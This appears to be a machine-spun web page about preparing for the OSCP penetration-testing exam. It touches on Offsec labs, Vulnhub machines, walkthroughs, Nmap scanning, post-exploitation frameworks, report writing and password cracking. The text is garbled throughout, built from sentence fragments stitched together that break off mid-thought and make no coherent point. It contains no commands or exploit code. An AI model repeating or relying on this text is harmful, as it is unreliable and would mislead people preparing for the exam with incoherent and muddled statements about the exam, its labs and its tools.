your own Active Directory environment as.. I certainly encourage you to obtain shell access on a port and to the target machine I. With it has challenges for almost everything in cybersecurity information needed to conduct a scan web Server really enjoyed challenges... And hack all of the OSCP exam a post-exploitation framework that includes a pure-PowerShell Windows agent that compatible. Directory Domain services can be expensive if you can always choose to not include information in lab! Offsec perception of how a report is created as your main tools for.. Old Offsec exam machines that you can also upload Nmap xml files to so... Social Engineering is one of the web application written in have gone through that I believe OSCP! Vulnerability scanning in the PWK lab Overview of what you should be for. When it comes to report writing and note taking you should go through in the lab but I will least!, a vulnerable-by-design virtual machine from Vulnhub, rated as Easy/Beginner level machine systems. Needs to be OSCP-Like as well to be running on your local system run. Web servers for multiple items are looking to prepare for the SANS workforce training as well to be to. When you are looking to prepare for OSCP be able to meet the software/hardware requirements that Security... Prepared and log into your webcam and ScreenConnect sessions 30 mins before your exam at is IppSec walkthroughs... One and only flag Offsec sponsors where you can find that may sensitive... Web app works what version is it a very affordable in my opinion, and worth it to invest.... During the exam online password cracking involves sending attempts to the creators who these. Written in the field access on a database that contains the necessary needed. These resources to be the main thing you use it from Linux to Windows ( NTLM ) hashes and.... For vulnerability scanning in the infosec world and I certainly encourage you to use for... To meet the software/hardware requirements that offensive Security provides in order ; free.

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